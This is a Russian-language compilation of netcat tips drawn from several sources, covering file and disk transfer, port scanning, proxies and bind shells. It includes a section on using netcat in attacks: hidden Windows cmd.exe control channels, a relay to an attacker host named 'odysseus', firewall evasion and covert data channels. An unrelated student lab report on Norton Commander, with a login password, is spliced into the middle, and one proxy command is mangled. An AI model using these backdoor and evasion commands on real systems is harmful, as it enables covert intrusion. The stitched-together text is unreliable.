Полезные примеры использования утилиты netcat в Linux. Полезные трюки при работе с netcat Слежение за файлом

Отображение тестовой HTML-странички клиенту с обычным браузером одной командой (порт 8080):
(echo -e "HTTP/1.1 200 OK\nContent-Type: text/html\n\n Hello World";) | nc -vv -l -p 8080
Передача файла клиенту с обычным браузером одной командой (порт 8080):
(echo -e "HTTP/1.1 200\nContent-Disposition: attachment; filename=целевое-имя-которое-увидит-клиент\nContent-Type: application/octet-stream\nConnection: close\n"; cat имя-файла-на-диске) | nc -vv -l -p 8080

Как пользоваться nc?

(http://handynotes.ru/2010/01/unix-utility-netcat.html )

Начнем с нескольких простых примеров и далее будем их использовать как базовые.
Если Вы помните, я говорил, что netcat это Швейцарский армейский нож. Чем-бы этот нож был, если бы его нельзя было использовать как обычный нож? Вот почему netcat может использоваться вместо обычного telnet:

$ nc www.google.com 80

В действительности он более удобный чем обычный telnet, потому что Вы можете завершить соединение в любое время, нажав Ctrl+C и он обрабатывает двоичные данные как обычные (никаких escape последовательностей, ничего).
Вы можете добавить параметр “-v” для более подробного вывода результатов действий, и параметр (-vv) для получения статистики о том, сколько байт было передано во время текущего сеанса соединения.
Netcat может быть использован в качестве сервера. Если Вы запустите его, как указано ниже, он будет слушать на порту 12345 (на всех интерфейсах):

$ nc -l -p 12345

Теперь если Вы подключитесь к порту 12345 этого хоста, все, что Вы набираете будет передано удаленной стороне, что говорит нам о том, что netcat можно использовать как чат сервер. Запустите на одном из компьютеров:

# На компьютере A с IP 10.10.10.10
$ nc -l -p 12345

И подключитесь к нему с другого:

# На компьютере B
$ nc 10.10.10.10 12345

Теперь обе стороны могут переговариваться!
Такой способ разговора, когда обе стороны могут разговаривать друг с другом делает возможным использование nc для операций ввода/вывода через сеть! К примеру, Вы можете послать целую директорию с одного компьютера на другой организовав tar конвейер через nc на первом компьютере, и перенаправив вывод в другой tar процесс на втором.
Предположим, Вы хотите переслать файлы из директории /data компьютера A с IP 192.168.1.10 на компьютер B (с любым IP). Это просто:


$ tar -cf — /data | nc -l -p 6666


# На компьютере B
$ nc 192.168.1.10 6666 | tar -xf -

Не забудьте скомбинировать конвейер с Рipe Viewer , который был описан в предыдущей статье, что-бы посмотреть статистику того, как быстро происходит передача!
Одиночный файл может быть послан проще:

# На компьютере A с IP 192.168.1.10
$ cat file | nc -l -p 6666


# На компьютере B
$ nc 192.168.1.10 6666 > file

Вы даже можете скопировать и восстановить целый диск, с помощью nc:

# На компьютере A с IP 192.168.1.10
$ cat /dev/hdb | nc -l -p 6666


# На компьютере B
$ nc 192.168.1.10 6666 > /dev/hdb

Заметим: Опция “-l” не может быть использована совместно с “-p” на Mac компьютерах! Решение, — просто заменить “-l -p 6666? на “-l 6666?. Как здесь:

# теперь nc слушает на порту 6666 для Mac компьютеров
$ nc -l 6666

Незаурядное использование netcat — сканирование портов. Netcat не лучший инструмент для такой работы, но он с этим справляется (лучший, конечно-же nmap):

$ nc -v -n -z -w 1 192.168.1.2 1-1000
(UNKNOWN) 445 (microsoft-ds) open
(UNKNOWN) 139 (netbios-ssn) open
(UNKNOWN) 111 (sunrpc) open
(UNKNOWN) 80 (www) open
(UNKNOWN) 25 (smtp) : Connection timed out
(UNKNOWN) 22 (ssh) open

Параметр “-n” предотвращает от просмотра DNS, “-z” не ждет ответа от сервера, и “-w 1? задает таймаут для соединения в 1 секунду.
Другое нетривиальное использование netcat в роли прокси. И порт и хост могут быть перенаправлены. Посмотрите на этот пример:

$ nc -l -p 12345 | nc www.google.com 80

Эта команда запускает nc на порту 1234 и перенаправляет все соединения на google.com:80. Если теперь Вы подключитесь к этому компьютеру на порту 12345 и сделаете запрос, Вы обнаружите, что в ответ не получаете никаких данных. Это правильно, потому-что мы не установили двунаправленный канал. Если Вы добавите второй канал, Вы получите Ваши данные на другом порту:

$ nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346

После посылки запроса на порт 12345, получите Ваши данные ответа на порту 12346.
Вероятно самая мощная возможность netcat — запустить любой процесс как сервер:

$ nc -l -p 12345 -e /bin/bash

Параметр “-e” пораждает выполнение ввода и вывода перенаправляемого через сетевой сокет. Теперь, если Вы подключитесь к хосту на порту 12345, Вы можете использовать bash:
$ nc localhost 12345
ls -las
total 4288
4 drwxr-xr-x 15 pkrumins users 4096 2009-02-17 07:47 .
4 drwxr-xr-x 4 pkrumins users 4096 2009-01-18 21:22 ..
8 -rw——- 1 pkrumins users 8192 2009-02-16 19:30 .bash_history
4 -rw-r—r— 1 pkrumins users 220 2009-01-18 21:04 .bash_logout

(http://execbit.ru/2011/05/23/netcat/)
1 Передавать файлы (первую команду выполняем на принимающей машине, вторую - на передающей:

$ nc -l 31334 > filename $ nc 172.16.69.143 31334 < filename

$ nc -f /var/log/messages | nc -l 31334 $ nc 172.16.69.143 31334

3 Использовать вместо telnet (первая - telnet-сервер, вторая - клиент):

$ nc -l -p 31334 -e /bin/sh $ nc 172.16.69.143 31334

4 Сканировать на открытые порты:

$ nc -z execbit.ru 1-1024

5 Осуществлять фингерпринт сервисов на основе баннеров:

$ echo "QUIT" | nc execbit.ru 1-1024

6 Организовывать обратный шелл (первая - клиент, вторая - сервер, однако шелл откроется от сервера к клиенту).

Главное назначение утилиты netcat (или ‘nc’, как называется соответствующий выполняемый файл) — предоставить пользователю возможность передавать любые данные через сеть, используя транспортный протокол TCP или UDP. Кроме этого, netcat может выполнять еще несколько интересных функций, например, сканирования UDP- или TCP-Портов.

При этом пользователь может, в частности:

  • свободно выбирать порт привязки (как локальный, так и отдаленный);
  • выполнять (не выполнять) прямую и обратную трансляцию DNS-Имен;
  • привязывать netcat к любому из адресов уровня сети локального узла;
  • передавать входные сообщения на обработку другой программе;
  • шифровать данные, которые передаются (эта возможность реализована в версии netcat, так называемая cryptcat).

Базовые режимы работы

Базовые режимы работы утилиты netcat — режим клиента и режим сервера.

Простейший вариант запуска в режиме клиента:

nc host port

(если нужно использовать протокол TCP), или

nc -u host port

(если нужно использовать протокол UDP).

Если не включенная опция -u, непосредственно после запуска в этом режиме netcat осуществляет попытку установить TCP-Соединение с портом port узла host.

Работа netcat сводится к передаче на сокет host:port всего, что приходит к ней через стандартный канал ВВОДА, и выдачи в стандартный канал ВЫВОДА всего, что приходит к ней из этого сокета.

Простейший вариант запуска в режиме сервера:

nc -l -p port

После запуска в этом режиме netcat ждет запросов на установление соединения с TCP-Портом port. После установления соединения выдает все, что приходит к ней через это соединение, в стандартный канал ВЫВОДА, и передает назад все, что приходит к ней через стандартный канал ВВОДА.

Применение при подготовке и проведении программных атак

Такое широкое назначение утилиты netcat открывает множество возможностей по ее применению. При подготовке и проведении программных атак возможное применение netcat для решении следующих, например, задач:

  • идентификация сервисов, которые предоставляют узлы сети (путем сканирования TCP- и UDP-Портов);
  • идентификация программного обеспечения сервисов, которые предоставляют узлы сети (путем сбора маркеров);
  • проникновение на узлы сети или нарушение доступности сервисов, которые они предоставляют;
  • создание скрытых каналов управления узлами сети;
  • создание скрытых каналов передачи данных.

В последних двух случаях очень полезной есть возможность шифровать обмен между клиентом и сервером netcat (реализованная в cryptcat).

Применение netcat для проникновения на узлы сети или отдаленного нарушения доступности сервисов, которые они предоставляют

О проникновении на узел сети говорят в двух смыслах:

1) как про захват полномочий пользователя узла (субъектом, который к этому не имел никаких полномочий относительно этого узла);

2) как о преодолении ограничений на информационный обмен с узлом, наложенных межсетевым (сетевым) экраном.

netcat может оказаться полезной в обоих случаях.

Захват полномочий возможен путем отдаленной атаки на сервер, который принадлежит объекту атаки (используя, например, такую уязвимость сервера, как переполнение буфера). При этом у атакующего должна быть возможность передать серверу определенные данные. Как правило, это такие данные, которые невозможно передать с помощью обычной клиентской программы (но возможно с помощью netcat, поскольку netcat дает возможность передавать любые данные).

Проникнуть через межсетевой (сетевой) экран может помочь способность netcat привязываться к любому локальному порту (включается опцией -p). Например, если netcat в режиме клиента привязывается к TCP-Порту 20 (ftp-data), во многих случаях межсетевые (сетевые) экраны разрешат устанавливать соединение с узлами (узлом) сети, которые (который) они защищают.

Для нарушения доступности сервисов может применяться та самая способность netcat передавать любому серверу любые данные (например, некорректные запросы, которые приводят к зависанию сервера).

Применение netcat для создания скрытых каналов управления узлами сети

Предположим, что объектом атаки является узел под управлением MS Windows NT. Выполнив на объекте атаки

nc –L -p xxxx -d -e cmd.exe

(где xxxx — произвольный номер порта), получим скрытый канал управления этим объектом. Здесь опция -e включает режим, в котором стандартный поток ВЫВОДА результатов утилиты netcat подключается к стандартному каналу ВВОДА командного интерпретатора cmd.exe, а стандартные потоки ВЫВОДА результатов и сообщений об ошибках командного интерпретатора cmd.exe – к стандартному потоку ВВОДА утилиты netcat. Опция -L действует аналогично -l, с таким различием, что указывает на необходимость перезапуска netcat с теми же аргументами после завершения каждого соединения. Опция -d (detach) служит для скрытия запуска (netcat при этом не создает окна и не отображается в списке задач). Дополнительного эффекта скрытия можно достичь, если переименовать выполняемый файл netcat.

Воспользоваться этим каналом можно, если, например, на другом узле следующим образом запустить netcat:

nc troy xxxx

где troy — адрес или имя объекта атаки.

Опция -e, однако, не всегда поддерживается реализациями netcat. Если эта опция не поддерживается, аналогичного результата можно достичь, запустив по два экземпляра netcat на объекте атаки и на узле атакующего. Можно, например, применить следующий сценарий. На объекте атаки запустить:

nc -L -p xxxx -d | cmd.exe | nc odysseus yyyy

где odysseus — адрес или имя узла атакующего.

А на узле атакующего:

nc -l -p yyyy

nc troy xxxx

Такой сценарий называется перенаправлением портов . Обратите внимание на правильный порядок запуска программ (в данном тексте он отображен неправильно: сервер нужно запускать раньше клиента).

Этот сценарий можно модифицировать. Например, на объекте атаки запускать netcat только в режиме клиента, а на узле атакующего – только в режиме сервера, или наоборот (придерживаясь при этом правильного порядка запуска: сервер должен запускаться ранее клиента).

Манипулирование режимами запуска netcat, вместе с правильным выбором номеров портов, может разрешить во многих случаях преодолеть межсетевой (сетевой) экран, если последний применяется для защиты объекта атаки (например, если используется рассмотренный выше сценарий, во многих случаях может оказаться удачным выбор xxxx = 80 (порт HTTP-Сервера), yyyy = 25 (порт SMTP-Сервера)).

Применение netcat для создания скрытых каналов передачи данных

Рассмотрим, например, как с помощью netcat передать файл из сокета troy:xxxx на сокет mac:yyyy.

Для этого достаточно на узле mac выполнить что-то наподобие:

nc -l -p yyyy > godear

а на узле troy:

nc -p xxxx mac yyyy < prayer

Здесь, снова таки, надлежащее манипулирование режимами запуска netcat и номерами портов может помочь преодолеть ограничения, которые накладываются межсетевыми (сетевыми) экранами.

Кафедра проектирования дорог

Лабораторная работа №1

по курсу «Информатика»

Выполнил студент группы №114359 Райхман Сергей Юрьевич

Проверил

Лабораторная работа №1

Тема: Сервисная программа Norton Commander

Цель: Научиться осуществлять управление компьютером с помощью Norton Commander

Norton Commander позволяет выполнять следующие функции: 1) выполнять функции MS-DOS, 2) Отображать содержание каталогов на дисках, 3) изображать дерево каталогов на диске, 4) просматривать файлы, 5) редактировать текстовые файлы, 6) копировать, перемещать, переименовывать, удалять файлы, 7) изменять атрибуты файлов.

Запуск Norton Commander

Для запуска Norton Commander необходимо набрать в командной строке “nc” и нажать “Enter” (ввод). Выход из Norton Commander – клавиша F10 или ALT+X

Вид экрана и панелей

После запуска Norton Commander на экране появляются два прямоугольных окна (панели).


Ниже этих панелей располагается приглашение MS-DOS и информационная строка со значениями функциональных клавиш.

F1 HELP – краткая информация о назначении клавиш при работе NC.

F2 MENU – пользовательское меню

F3 VIEW – просмотр текстового файла, документа

F4 EDIT – редактирование текстового файла

F5 COPY – копирование файлов

F6 RENMOV – пересылка, переименование файла

F7 MKDIR – создание каталога (подкаталогов)

F8 DELETE – удаление файлов или подкаталогов

F9 PULL DN – в верхней строке экрана выводятся меню, содержащие режимы работы NC.

F10 QUIT – выход из NC

Меню при нажатии клавиши F9

Left и Right – задаются режимы вывода информации на левой и правой панелях

Files – производятся различные операции с файлами

Commands – выполняются различные команды NC, задается конфигурация NC и режимы работы.

Один из пунктов меню является выделенным, для выбора другого пункта пользуются стрелками <¬>, <­>, <®>, <¯> и нажимается клавиша “Enter”.

Выделение файлов

Для копирования, удаления, перемещения файлов необходимо их выделить нажатием клавиши Ins. Для отмены выделения необходимо повторно нажать “Ins”. Внизу панели появляется информация о количестве выделенных файлов.

Создание каталога

Для создания каталога нажать клавишу “F7”, набрать его имя, нажать “Enter”.

Для входа в каталог необходимо на его имени нажать клавишу “Enter”. При нажатии клавиш “ALT+F10” на экран выводится дерево каталогов. Клавишами перемещения курсора можно быстро переместиться в нужный подкаталог.

Основные клавиши NC

TAB – переход на другую панель

ALT+F1 – вывод в левой панели оглавления другого диска.

ALT+F2 – вывод в правой панели оглавления другого диска

CTRL+F1 – убрать левую панель с экрана

CTRL+F2 – убрать правую панель с экрана

CTRL+O – убрать обе панели

CTRL+U – поменять панели местами

Для запуска компьютера необходимо в строке приглашения набрать “LOGIN”, ввести пароль (335_2).

Задания по лабораторной работе

С помощью команд, создать на диске структуру подкаталогов:


Основные команды NC вызываются функциональными клавишами F1 - F10. Список этих команд расположен в нижней информационной строке экрана.

а) Подсказка, помощь, Help, F1 (рис.2, 3).

При нажатии этой клавиши на экране появляются: краткое описание системы Norton Commander и подсказка, описывающая назначение клавиш и команд.

б) меню пользователя, Menu, F2 (рис.4)

С помощью этой команды на экран вызывается дополнительное меню, созданное пользователем.

в) просмотр содержимого файла, View, F3 (рис.5).

Курсор надо поставить на имя файла, содержание которого требуется просмотреть и нажать клавишу F3. На экране монитора высветится содержание файла, которое можно увидеть, прочитать, но невозможно производить редактирование.

г) Редактирование текста, Edit, F4 (рис.6)

Чтобы загрузить файл во встроенный редактор Norton Commander, нужно указать этот файл курсором и нажать клавишу F4. В целях редактирования перемещение курсора можно осуществлять клавишами управления курсором. Встроенный редактор Norton Commander может работать с файлом объем которого не превышает 30 Кбайт. Для файлов с большим объемом используется внешний редактор, если он настроен в системе Norton Commander. Для загрузки файла во внешний редактор используют команду, вызываемую нажатием ALT + F4.

д) Копирование файлов и каталогов, Copy, F5 (рис.7, 8, 9)

Для копирования файла необходимо определить каталог, где он находится (источник) и куда будет копироваться (приемник). В пассивной панели нужно открыть каталог-приемник, а в активной панели-каталог-источник. В последнем нужно курсором указать копируемый файл и нажать F5. В появившемся диалоговом окне, после нажатия F5, нужно подтвердить копирование. При необходимости здесь можно исправить имя каталога-приемника или дать другое имя для файла копии.

При копировании группы файлов сначала их нужно отметить, для чего курсор подводится к имени нужного файла и нажимается клавиша Insert. При этом имя отмеченного файла изменит цвет и фон. Для снятия отметки с файла, на котором находится курсор, достаточно еще раз нажать клавишу Insert. Копирование производится нажатием клавиши F5. В появившемся диалоговом окне нужно подтвердить копирование как одиночного файла, так и группы (всех) файлов.

Если нужно скопировать все файлы каталога, то для выделения их достаточно нажать клавишу с знаком * малой цифровой клавиатуры. Для отмены выделения нужно повторно нажать эту клавишу.

Если нужно скопировать все файлы определенной группы, то для выделения их достаточно нажать клавишу с одинарным знаком + малой цифровой клавиатуры и в появившемся диалоговом окна выбрать признак группы и нажать Enter. И наоборот, для отмены выделения нужно нажать клавишу с одинарным знаком минус (-) и нажать клавишу Enter.


Для инверсного выделения нужно нажать клавишу с знаком * малой цифровой клавиатуры.

Признаки групп, указываемые при копировании, достаточно множественны. Некотрорые примеры показаны в таблице 1. Таблица 1

Оригинал: Useful netcat examples on Linux
Автор: Dan Nanni
Дата публикации: 27 января 2014 г.
Перевод: А.Панин
Дата перевода: 7 сентября 2016 г.

Обычно называемая "швейцарским ножом" для TCP/IP-сетей, утилита является чрезвычайно гибким инструментом, позволяющим выполнять практически все возможные действия с TCP/UDP-сокетами в Linux. Это один из наиболее популярных инструментов для диагностики и экспериментов с сетями в среде системных администраторов.

Учтите, что при использовании nc для приема соединений на портах известных сетевых служб (0-1023) вам понадобятся привилегии пользователя root. Во всех остальных случаях для корректной работы nc достаточно прав обычного пользователя.

1. Проверка наличия определенного открытого TCP-порта на удаленном узле

$ nc -vn 192.168.233.208 5000 nc: connect to 192.168.233.208 5000 (tcp) failed: Connection refused $ nc -v 192.168.233.208 22 Connection to 192.168.233.208 22 port succeeded! SSH-2.0-OpenSSH_6.0p1 Debian-4

2. Отправка тестового UDP-пакета на удаленный узел

Приведенная ниже команда предназначена для отправки тестового UDP-пакета с задержкой в 1 секунду на порт 5000 удаленного узла с заданным адресом.

$ echo -n "foo" | nc -u -w1 192.168.1.8 5000

3. Сканирование TCP-портов на удаленном узле

Приведенная ниже команда предназначена для сканирования портов из диапазонов и и вывода списка открытых портов.

$ nc -vnz -w 1 192.168.233.208 1-1000 2000-3000

4. Копирование файла (например, my.jpg) с узла с именем hostA.com на узел с именем hostB.com

$ nc -lp 5000 > my.jpg

$ nc hostB.com 5000 < my.jpg

5. Передача директории (со всем содержимым) с узла hostA.com на узел hostB.com

На узле с именем hostB.com (принимающая сторона):

$ nc -l 5000 | tar xvf -

На узле с именем hostA.com (передающая сторона):

$ tar cvf - /path/to/dir | nc hostB.com 5000

6. Сканирование UDP-портов на удаленном узле

$ nc -vnzu 192.168.1.8 1-65535 Connection to 192.168.1.8 68 port succeeded! Connection to 192.168.1.8 5353 port succeeded! Connection to 192.168.1.8 16389 port succeeded! Connection to 192.168.1.8 38515 port succeeded! Connection to 192.168.1.8 45103 port succeeded!

Приведенная выше команда позволяет вывести список открытых, принимающих данные UDP-портов на удаленном сервере.

7. Ожидание данных на UDP-порту и вывод принятых данных в текстовом формате

Приведенная ниже команда позволяет принимать сообщения (строки текста) на заданном UDP-порту.

$ nc -u localhost 5000

Обратите внимание на то, что данная команда будет завершать свою работу сразу же после приема первого сообщения. Если вы хотите принимать серию сообщений, вам придется использовать цикл while следующим образом:

$ while true; do nc -u localhost 5000; done

8. Сохранение (сжатого) файла образа жесткого диска (например, /dev/sdb) на удаленном сервере

На удаленном сервере:

$ nc -lp 5000 | sudo dd of=/backup/sdb.img.gz

На локальном узле, на котором установлен жесткий диск:

$ dd if=/dev/sdb | gzip -c | nc remote_server.com 5000

9. Восстановление содержимого жесткого диска из сжатого файла образа, сохраненного на удаленном сервере

На локальном узле:

$ nc -lp 5000 | gunzip -c | sudo dd of=/dev/sdb

На удаленном сервере, на котором сохранен файл образа жесткого диска (например, /backup/sdb.img.gz):

$ cat /backup/sdb.img.gz | nc my_local_host.com 5000

10. Передача статической веб-страницы по аналогии с веб-сервером

Выполните приведенную ниже команду для запуска веб-сервера, который будет передавать веб-страницу с именем test.html клиентам, соединяющимся с портом 8000.

$ while true; do nc -lp 8000 < test.html; done

Теперь проверьте доступность веб-страницы, перейдя с помощью веб-браузера по адресу: http://:8000/test.html . Обратите внимание на то, что для использования стандартного порта веб-сервера под номером 80 вам придется запустить nc с привилегиями пользователя root следующим образом:

$ while true; do sudo nc -lp 80 < test.html; done

11. Организация незащищенного чата между двумя узлами

На первом узле (192.168.233.203):

$ nc -lp 5000

На втором узле:

$ nc 192.168.233.203 5000

После выполнения двух приведенных выше команд все символы, введенные в окно терминала на любом из узлов появятся в окне терминала другого узла.

12. Запуск "удаленной командной оболочки", позволяющей выполнять произвольные команды на удаленном узле в процессе работы с локальным узлом

На удаленном узле (192.168.233.208):

$ nc -lp 5000 -e /bin/bash

На локальном узле:

$ nc 192.168.233.208 5000

После выполнения приведенной выше команды на локальном узле вы сможете выполнять любые команды на удаленном узле посредством окна терминала локального узла. Команды будут выполняться на удаленном узле, при этом вывод этих команд будет появляться в окне терминала локального узла. Данный подход может использоваться для создания бэкдора на удаленном узле.

13. Создание веб-прокси для определенного веб-сайта (например, google.com)

$ mkfifo proxypipe $ while true; do nc -l 5000 0Proxypipe; done

Приведенные выше команды позволяют создать именованный канал proxypipe и использовать утилиту nc для перенаправления всех соединений по протоколу TCP с портом 5000 локального узла на веб-сайт http://www.google.com посредством двунаправленного канала. После выполнения этих команд вы сможете попасть на главную страницу поисковой системы Google, введя в адресную строку веб-браузера адрес http://127.0.0.1:5000.

14. Создание SSL-прокси для определенного веб-сайта (например, google.com)

$ mkfifo proxypipe $ mkfifo proxypipe2 $ nc -l 5000 -k > proxypipe < proxypipe2 & $ while true do; openssl s_client -connect www.google.com:443 -quiet < proxypipe > proxypipe2; done

Приведенные выше команды позволяют использовать утилиту nc для создания прокси-сервера с поддержкой протокола SSL, позволяющего устанавливать соединения с веб-сайтом google.com.

15. Потоковая передача видеофайла с сервера и его просмотр с помощью проигрывателя mplayer на клиентской машине

На сервере потоковой передачи видео (192.168.233.208):

$ cat video.avi | nc -l 5000

На клиентской системе:

$ nc 192.168.233.208 5000 | mplayer -vo x11 -cache 3000 -

16. Прием соединений по протоколу TCP на определенном порту с использованием адреса IPv6

Приведенные ниже команды позволяют утилите nc использовать адрес IPv6 при приеме соединений на TCP-порту. Это может понадобиться в процессе тестирования корректности настройки адресации IPv6 в сети.

$ nc -6 -l 5000 $ sudo netstat -nap | grep 5000 tcp6 0 0:::5000:::* LISTEN 4099/nc

Если вам понравилась статья, поделитесь ею с друзьями:

Поделиться